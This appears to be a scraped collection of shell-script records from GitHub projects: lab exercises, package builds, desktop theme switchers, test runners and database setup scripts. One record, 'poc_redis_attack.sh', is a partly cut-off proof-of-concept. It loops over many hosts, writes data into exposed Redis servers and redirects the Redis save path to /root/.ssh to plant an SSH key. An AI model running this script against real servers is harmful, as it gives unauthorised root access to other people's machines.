852114b06ce4bfcb7ae23637b17e75966f2d45e2
Shell
AksV73/Os_lab_sem4
/lab3/qu3.sh
UTF-8
362
3.4375
3
[]
no_license
echo "Enter your Name : " read name echo "Enter your Registration Number : " read regNo n=$# s=($*) echo "Array Before Sorting: " echo "${s[*]}" for ((i=0;i<$n;i++)) do for((j=0;j<n-i-1;j++)) do if [[ ${s[j]} > ${s[$((j+1))]} ]] then temp=${s[j]} s[j]=${s[$((j+1))]} s[$((j+1))]=$temp fi done done ech...
true
9397bd6cbafc97b6b13f81734e6631fe6fda87c3
Shell
ODEX-TOS/packages
/argon2/repos/core-x86_64/PKGBUILD
UTF-8
915
2.546875
3
[ "GPL-1.0-or-later", "MIT" ]
permissive
# Maintainer: Baptiste Jonglez <baptiste--aur at jonglez dot org> pkgname=argon2 pkgver=20190702 pkgrel=3 pkgdesc='A password-hashing function (reference C implementation)' arch=('x86_64') url='https://github.com/P-H-C/phc-winner-argon2' license=('Apache' 'custom:CC0') depends=('glibc') provides=('libargon2.so') sourc...
true
92243282b7a401944432bd2a3152e48710e0cd37
Shell
b2gdev/Android-JB-4.1.2
/tcbin_misc/executables/set_wifi_mac
UTF-8
434
2.796875
3
[]
no_license
#!/system/usr/bin/sh if ! [[ -e /system/etc/firmware/ti-connectivity/random_mac_set ]] then echo "Creating new random MAC for WiFi" macaddr=$(echo $RANDOM|md5sum|sed 's/^\(..\)\(..\)\(..\)\(..\)\(..\).*$/02:\1:\2:\3:\4:\5/') mount -o remount,rw /system calibrator set nvs_mac /system/etc/firmware/ti-connectivity/wl...
true
0b2e13a68831b9a6c7c08ae2737d47b87a8704ef
Shell
saboteur-team/Saboteur-Xbox360-Patcher
/compress.sh
UTF-8
1,118
3.0625
3
[]
no_license
#!/usr/bin/env bash echo "Compress started" rm -fr /tmp/luascripts cp -r ./luascripts /tmp/luascripts rm -fr /tmp/run.bat echo "Generate batch file" for f in $(find /tmp/luascripts -name '*.lua' ! -iname 'BelleInteriorSceneManager.lua' ! -iname 'AggroSpawner.lua' ! -iname 'CoDSpawner.lua'); do windowspath=$(sed...
true
47a521c7aa0f03b42970adee07d99fef23bbf64b
Shell
pczapski/docker-stack
/docker/postgres/initdb.sh
UTF-8
477
2.625
3
[]
no_license
#!/bin/bash set -e echo "Creating DB" psql -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" <<-EOSQL CREATE DATABASE example; EOSQL echo "Done Creating DB" #!/bin/bash set -e echo "Creating DB" psql -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" <<-EOSQL CREATE USE...
true
544b0f54c565b33f5929d4462236b85a6babf1f4
Shell
nevergosleep/pleaseDontCrashLinux
/Scripts/changeTheme
UTF-8
532
2.609375
3
[]
no_license
#!/bin/bash thm=$(echo "light;dark;dark_solid;sunset" | rofi -sep ";" -dmenu -i -p "Theme: ") [[ -z $thm ]] && exit rm ~/.Xresources cp ~/.Themes/$thm/.Xresources ~/.Xresources xrdb .Xresources rm ~/.config/zathura/zathurarc cp ~/.Themes/$thm/zathurarc ~/.config/zathura/zathurarc rm ~/.config/rofi/config cp ~/.Theme...
true
d1a91376b8c675b4bcd6ef06e4102e0c40a86314
Shell
MinsukJi-NOAA/UnitTesting
/ut.sh
UTF-8
14,904
3.390625
3
[]
no_license
#!/bin/bash set -eux SECONDS=0 hostname error() { echo echo "$@" 1>&2 exit 1 } usage() { set +x echo echo "Usage: $program -n <test-name> [ -c <baseline-cases> | -r <unit-test-cases> ] [-k] [-h]" echo echo " -n specify <test-name>" echo echo " -c create new baseline results. <baseline-cases> i...
true
a839d981c2dcfd09733741191f6f81098d57a637
Shell
yashaka/python-web-test
/run/pull_docker_images_for_selenoid_browsers.sh
UTF-8
597
3.03125
3
[ "MIT" ]
permissive
#!/bin/bash awk -F'"' '$0 ~ /selenoid/ {print $4}' etc/selenoid/browsers.json | while read -r image ; do docker pull "$image" ; done # | | # use " as column separator | # each line in a file---------this file (browsers.json) # if matches selenoid in te...
true
f457d5cd6804ed8fc2d26bfd2d3a0d6d217dc2fd
Shell
DaleNaci/Tutorials
/ShellScript/myscript.sh
UTF-8
625
3.875
4
[]
no_license
#! /bin/bash # ECHO COMMAND echo Hello World! # VARIABLE # Uppercase by convention # Letters, numbers, underscores NAME="Brad" echo "My name is ${NAME}" # USER INPUT read -p "Enter your name: " NAME echo "Hello ${NAME}, nice to meet you!" # SIMPLE IF STATEMENT if [ "$NAME" == "Brad" ] then echo "Your name is Br...
true
7ea1cf41fdc88df239ae0af592335a21e211bea5
Shell
mansi-k/SSD_Assignment1
/q10.sh
UTF-8
231
3.5
4
[]
no_license
#!/bin/bash read opt read n read res b=1 while [ $n -gt 1 ] do read b res=`echo "$res $opt $b" | bc -l` n=`expr $n - 1` done if [[ $opt == "/" ]] then printf "%0.4f\n" "$res" else echo $res | sed 's/\\ //g' fi
true
4c09085b283bf5c880657321502893e7b8a9a433
Shell
Derevi/dwm-suckless-scripts
/dmenu-custom-command-generator
UTF-8
4,142
4.40625
4
[]
no_license
#!/bin/bash # WHAT THIS DOES: this script will generate a custom dmenu that will display user defined options and upon selection will run some command. # it is great for categorizing commonly used commands. Example, I use this for poweroff,reboot,lock,suspend. # this is an example of generating a custom dmenu command ...
true
d3d4ceddeced8c05a8b6d9122351bc33ea652aec
Shell
singleghost/redis-database-POC
/poc_redis_attack.sh
UTF-8
474
2.640625
3
[]
no_license
#!/bin/bash read -p "enter the filename which contains urls\n" urlfile cat $urlfile | while read line do cat foo.txt |redis-cli -h $line -x set crackit \ && redis-cli -h $line config set dir /root/.ssh/ |grep OK \ && redis-cli -h $line config get dir|grep '/root/.ssh' \ && redis-cli -h $line config set dbfilena...
true
483bcaacbbd1eb90fe85c681802cf0456d7cb1f5
Shell
brandonpaiz/dots
/scripts/,repeat-every
UTF-8
199
3.578125
4
[ "MIT" ]
permissive
#!/bin/bash sleep_error_msg() { echo "$0: invalid time interval '$1'" } sleep_time="$1" shift 1 while true do "$@" sleep "$sleep_time" &>/dev/null || { sleep_error_msg "$@" && exit 1; } done
true
69a17c40959c9329b7cfcb2eda11e5a314f83375
Shell
mischief/9problems
/sys/src/games/music/juke.rc
UTF-8
1,147
2.953125
3
[]
no_license
#!/bin/rc rfork e wide=`{echo $vgasize | sed 's/(.*)x.*x.*/\1 > 240/' | hoc} debug=0 tflag='' wflag='' host='' flags=() sname=$user if (! ~ $wide 1) { flags=($flags -t) } while(! ~ $#* 0) { switch ($1) { case -d debug=$2 shift case -t tflag='-t' case -h host=$2 shift case -w wflags='-w' case -s sna...
true
a4dabf817a17b39fd8fa3a36224e758adaec7633
Shell
yochananmarqos/pkgbuilds
/mangl-git/PKGBUILD
UTF-8
1,396
2.6875
3
[]
no_license
# https://aur.archlinux.org/packages/mangl-git groups=('modified') pkgname=mangl-git pkgver=1.1.2.r1.g1957140 pkgrel=1 pkgdesc="Graphical man page viewer" arch=('x86_64') url="https://github.com/zigalenarcic/mangl" license=('BSD') depends=('freetype2' 'glfw' 'libglvnd') makedepends=('git') makedepends+=('glfw-x11') #m...
true
d231865bf7333768171a71c1f1096d1197444910
Shell
gperciva/lilypond-extra
/stats/make-stats.sh
UTF-8
913
3.234375
3
[]
no_license
#!/bin/sh TMPDIR=~/tmp/ GITSTATS=~/src/gitstats/gitstats ONE_YEAR=$TMPDIR/stats-1year/ THREE_MONTHS=$TMPDIR/stats-3months/ ALL=$TMPDIR/stats-all/ SERVER_ONE_YEAR=graham@lilypond.org:public_html/gitstats-1year/ SERVER_THREE_MONTHS=graham@lilypond.org:public_html/gitstats-3months/ SERVER_ALL=graham@lilypond.org:public...
true
1bbe22d01e3c6bbd0d2d24fb48cf19d6d54702ad
Shell
bestofmukul/aquabot
/build.sh
UTF-8
131
2.953125
3
[]
no_license
#!/bin/bash if [[ -z $1 ]]; then echo "Please provide a path to build" exit 1 fi GOARM=7 GOARCH=arm GOOS=linux go build $1
true
ad7eab946c15eb6df7cfb46cb1bba745a8da2ed9
Shell
aiotter/dotfiles
/bin/makedoc
UTF-8
413
2.609375
3
[]
no_license
#!/usr/bin/env bash make -f <(cat << END-OF-MAKEFILE %.pdf: %.adoc asciidoctor-pdf -r asciidoctor-pdf-cjk --out-file $@ $< %.docx: %.adoc custom-reference.docx asciidoctor --backend docbook --out-file - $< | pandoc --from docbook --to docx --reference-doc=custom-reference.docx --output $@ custom-reference.docx: p...
true
36b9b9eb4fc76a199431941742c1106805722e36
Shell
phisikus/hecuba
/cluster/createNodeDirs.sh
UTF-8
1,090
3.9375
4
[]
no_license
#!/bin/bash if [ ! -d apache-cassandra ] then echo "apache-cassandra directory is missing" exit -1 fi if [ $# -lt 1 ] then echo "use number of nodes as argument" exit -1 fi if [ $1 -lt 1 ] then echo "use a number greater than 0" exit -1 fi numberOfNodes=$1 rm -fr nodes mkdir nodes seeds="192.168.43.10" for ((...
true
e2c1d73df24313394c25b42b6840c9078dff8ee8
Shell
kathra-project/deployment
/terraform/terraform_modules/minikube-stack/sh/functions.sh
UTF-8
14,034
3.375
3
[ "Apache-2.0" ]
permissive
#!/bin/bash [ "$tmp" == "" ] && export tmp=/tmp/kathra.minikube.wrapper [ ! -d $tmp ] && mkdir $tmp function startMinikube() { printDebug "startMinikube(minikubeCpus: $minikubeCpus, minikubeMemory: $minikubeMemory, minikubeDiskSize: $minikubeDiskSize)" downloadMinikube installKubectl [ $(minikube statu...
true
581c9a152742b25a6a3436704d0f82d4a3941c6a
Shell
lukaszgryglicki/devstats
/prometheus/psql.sh
UTF-8
1,203
2.703125
3
[ "Apache-2.0" ]
permissive
#!/bin/bash function finish { sync_unlock.sh } if [ -z "$TRAP" ] then sync_lock.sh || exit -1 trap finish EXIT export TRAP=1 fi set -o pipefail > errors.txt > run.log GHA2DB_PROJECT=prometheus IDB_DB=prometheus PG_DB=prometheus GHA2DB_LOCAL=1 ./structure 2>>errors.txt | tee -a run.log || exit 1 GHA2DB_PROJECT...
true
ebf22b62f40e031ebb8835042ccf9f08c14d7d13
Shell
Danilo7/DevOps-Php-MySQL-Tools
/php/php_xdebug.sh
UTF-8
658
3.390625
3
[]
no_license
#!/bin/env bash # Simple script to enable or disable the xdebug extension case $1 in on) if [[ -f /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini.deactivated ]]; then echo 'haha' mv /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini.deactivated /usr/local/etc/php/conf.d/docker-php-ext-xdebug.i...
true
5fdcfdc5b08fff7a6258bddfcaa127b68feed87a
Shell
cantecim/dotfiles
/.bashrc
UTF-8
272
3.328125
3
[]
no_license
export LANG=en_US.UTF-8 export LC_ALL=$LANG export LANGUAGE=$LANG mkcdir () { mkdir -p -- "$1" && cd -P -- "$1" } commitWithMessage() { message="$*" git commit -m "$message" } ec2Fingerprint() { openssl pkcs8 -in $1 -nocrypt -topk8 -outform DER | openssl sha1 -c }
true
d0bb0b8bf5c883f1643ba51d7744275bfc55b35f
Shell
puddu1/codeslist
/ones.sh
UTF-8
61
2.703125
3
[]
no_license
#!/bin/bash j=1 a=1 for i in {1..5} do echo $a a=$a$j done
true
e4eb604e26bf23ddd726a06e8518cf423cc47871
Shell
mccart/phoenix
/scripts/bootstrap.sh
UTF-8
271
3.3125
3
[]
no_license
APP="phoenix" STARTDIR="$PWD" DIR=`dirname $0` cd $DIR #Reset Minikube ./reset.sh if [ $? -eq 0 ] then #Create/Apply secret ./create-secret.sh $APP kubectl apply -f $APP-secret.yaml #Build and deploy application cd .. ./scripts/update.sh fi cd $STARTDIR
true
c6b7f4274803051a9f23b109952e9e73ed4bda58
Shell
langdoc/FRechdoc
/forced_alignment/sox_aeneas.sh
UTF-8
387
2.828125
3
[]
no_license
#!/bin/bash for wav in `ls MONO*WAV | egrep 'MONO\-\d\d\d\.WAV+'` do output=$(echo $wav | sed 's/.WAV/-song1.WAV/g') sox $wav song1/$output trim 0 284 done for wav in `ls song1/MONO*song1*WAV` do output=$(echo $wav | sed 's/.WAV/.eaf/g') aeneas_execute_task \ $wav \ song1.txt \ "task_language=u...
true
7e135ccc66a2a7a982f3abe91760d1787d6366c6
Shell
know-ops/git-actions
/lib/git/commit.bash
UTF-8
164
3.09375
3
[ "Apache-2.0" ]
permissive
#!/usr/bin/env bash git_commit() { git add . if [ -z "${KO_COMMIT_MSG}" ]; then KO_COMMIT_MSG="[CHORE] > " fi git commit -m "${KO_COMMIT_MSG}${1}" }
true
a7fe20bf390844d71f9502d9592034afdd07fa99
Shell
ajaykumar011/scripting-course
/escape.sh
UTF-8
114
2.640625
3
[]
no_license
#!/bin/bash # while loop with break. a=10 echo -e "Value of a is $a \nThis is new line" echo -e "Value of a is $a"
true
d7b609e5b9eb5a3c4c70ec8fd3718147f3978b04
Shell
petronny/aur3-mirror
/djv-git/PKGBUILD
UTF-8
1,101
2.703125
3
[]
no_license
# Maintainer: N30N <archlinux@alunamation.com> # Contributer: Jonathan Liu <net147@gmail.com> pkgname="djv-git" provides=("djv") pkgver=1.0.5.r65.ga631914 pkgrel=1 pkgdesc="Image sequence and movie playback and processing software for film production, VFX, and computer animation" url="http://djv.sourceforge.net/" lice...
true
ab49820efb4b3c5bc111cc1d6a5bead1dc3e3b74
Shell
beautifularea/Master_Shell_Sed_Awk_or
/uploadcfg.sh
UTF-8
583
3.3125
3
[]
no_license
#!/bin/bash ips=$1 FILE="skywelld.cfg" ################# ## config ################# USER=root PASSWORD=password IP=0 PORT=22 SRCDIR=/home/zhtian/sftpload/sftpFiles #skywelld ca proto.gz server.crl DESDIR=/root readIPs() { while read myline do #read ips echo echo -e "\033[41;36mUPLOADING IP : \033[0m"$my...
true
03310d5e5e7a1c9aa72d500766d84de4de4cc569
Shell
JioCloudVPC/puppet-vpc
/build_scripts/make_userdata_vrouter.sh
UTF-8
4,351
2.90625
3
[ "Apache-2.0" ]
permissive
#!/bin/bash -xe cat <<EOF >userdata_vrouter.txt #!/bin/bash date set -x release="\$(lsb_release -cs)" if [ -n "${git_protocol}" ]; then export git_protocol="${git_protocol}" fi if [ -n "${env_http_proxy}" ] then export http_proxy=${env_http_proxy} echo http_proxy="'${env_http_proxy}'" >> /etc/environment inter...
true
371db1e6efedf15afd60212c1b15f2d82e2b0fcb
Shell
danielmarschall/uuid_mac_utils
/download-webdata.sh
UTF-8
1,728
2.84375
3
[ "Apache-2.0" ]
permissive
#!/bin/bash DIR=$( dirname "$0" ) if [ ! -d "$DIR"/web-data ]; then mkdir "$DIR"/web-data echo "Order Deny,Allow" > "$DIR"/web-data/.htaccess echo "Deny From All" >> "$DIR"/web-data/.htaccess fi # Note: The Individual Address Block (IAB) is an inactive registry activity, which has been replaced by the MA-S regis...
true
dd9224f2b393856a89d75fd1d919246156126a5d
Shell
ADVANTECH-Corp/advtest-burnin
/scripts/burnin_ethernet.sh
UTF-8
2,411
3.5625
4
[]
no_license
#!/bin/bash mountpoint=/home/root/advtest/burnin/log mkdir -p ${mountpoint}/ethernet testTime=`date +%Y%m%d.%H.%M.%S` LOGFILE="${mountpoint}/ethernet/$1_${testTime}.txt" Google=216.239.32.6 ethernet_test() { declare -i count declare -i total_fail declare -i total_pass count=0 total_fail=0 total_pass=0 if [...
true
a38ebf9e878231ac6b957a958bc354ee0f1b644a
Shell
vovarbv/akash-postgres-restore
/scripts/create.sh
UTF-8
407
3.265625
3
[]
no_license
#!/bin/bash # Check if another instance of script is running pidof -o %PPID -x $0 >/dev/null && echo "ERROR: Script $0 already running" && exit 1 set -e echo "Creating database" export PGPASSWORD=$POSTGRES_PASSWORD echo "SELECT 'CREATE DATABASE $POSTGRES_DATABASE' \ WHERE NOT EXISTS \ (SELECT FROM pg_database ...
true
9beaf669e06770b43c79b0fcfe91b957019e2427
Shell
lguerrin/browsergopass
/browsergopass-wrapper
UTF-8
179
2.75
3
[ "MIT" ]
permissive
#!/bin/bash # Add some path to PATH on MacOS DIR="$( cd "$( dirname "$0" )" && pwd )" export GPG_TTY="$(tty)" export PATH="$PATH:/usr/local/bin" $DIR/browsergopass "$@" exit $?
true
a173bb73a2114d3a9b362d7eebcdc21a65372b21
Shell
kantrootaix/shellLinux
/creatusers.sh
UTF-8
610
3.59375
4
[]
no_license
#!/bin/bash while true do read -p "Base de nom des comptes a crรฉer :" BASE if [[ "${BASE}" = +([[:lower:]]) ]] then break fi done while true do read -p "Nombre d'utilisateurs a crรฉer :" NBR if [[ "${NBR}" = +([[:digit:]]) ]] then break fi done read -p "Numero du premier utilisateur (dรฉfaut: 1) ...
true
b243e9319c15fe5be7016167cbeabaa49324309c
Shell
dabosmo/actividad_6b
/ejerc4.sh
UTF-8
599
3.59375
4
[]
no_license
maxlineas=`cat numeros.txt | wc -l` linea=1 total_par=0 total_impar=0 while [ $linea -le $maxlineas ]; do i=`cat numeros.txt | head -$linea | tail -1 ` resto=$((i % 2)) if [ $resto -ne 0 ]; then echo "$i" >> impares.txt total_impar=$((total_impar + i)) else echo "$i" >> pares.txt total_...
true
3125ae9a1d6ce01e61fe63e9b2e2192783118965
Shell
roovo/dotfiles
/bash/bash_profile.symlink
UTF-8
1,101
3.546875
4
[ "MIT" ]
permissive
# vi: set ft=sh : # Load in .git-completion.bash ------------------------------------ source ~/.bin/git-completion.bash # Load in .bashrc ------------------------------------------------- source ~/.bashrc # Hello Messsage -------------------------------------------------- echo -e "Kernel Information: " `uname -smr` ...
true
58e538d6b8ea0df5943a915f6bd3d435f928aaa1
Shell
bellatoris/sh_practice
/ch9_variable_revisited/parameter_substitution.sh
UTF-8
2,904
3.53125
4
[]
no_license
#!/bin/bash # ${parameter} # ๋ณ€์ˆ˜์ธ parameter์˜ ๊ฐ’์ด๋ž€ ๋œป์œผ๋กœ์„œ, $parameter๋ผ๊ณ  ํ•œ ๊ฒƒ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. # ์–ด๋–ค ๋ฌธ๋งฅ์—์„œ๋Š” ${parameter}๋ผ๊ณ  ํ™•์‹คํžˆ ์จ ์ค˜์•ผ ๋™์ž‘ํ•˜๋Š” ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. # ๋ฌธ์ž์—ด ๋ณ€์ˆ˜๋“ค์„ ์—ฐ๊ฒฐํ•  ๋•Œ ์“ฐ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. your_id=${USER}-on-${HOSTNAME} echo "$your_id" # echo "Old \$PATH = $PATH" PATH=${PATH}:/opt/bin # ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋„๋Š” ๋™์•ˆ $PATH ์— /opt/bin ์„ ์ถ”๊ฐ€. echo "New \$PATH = $PATH" #...
true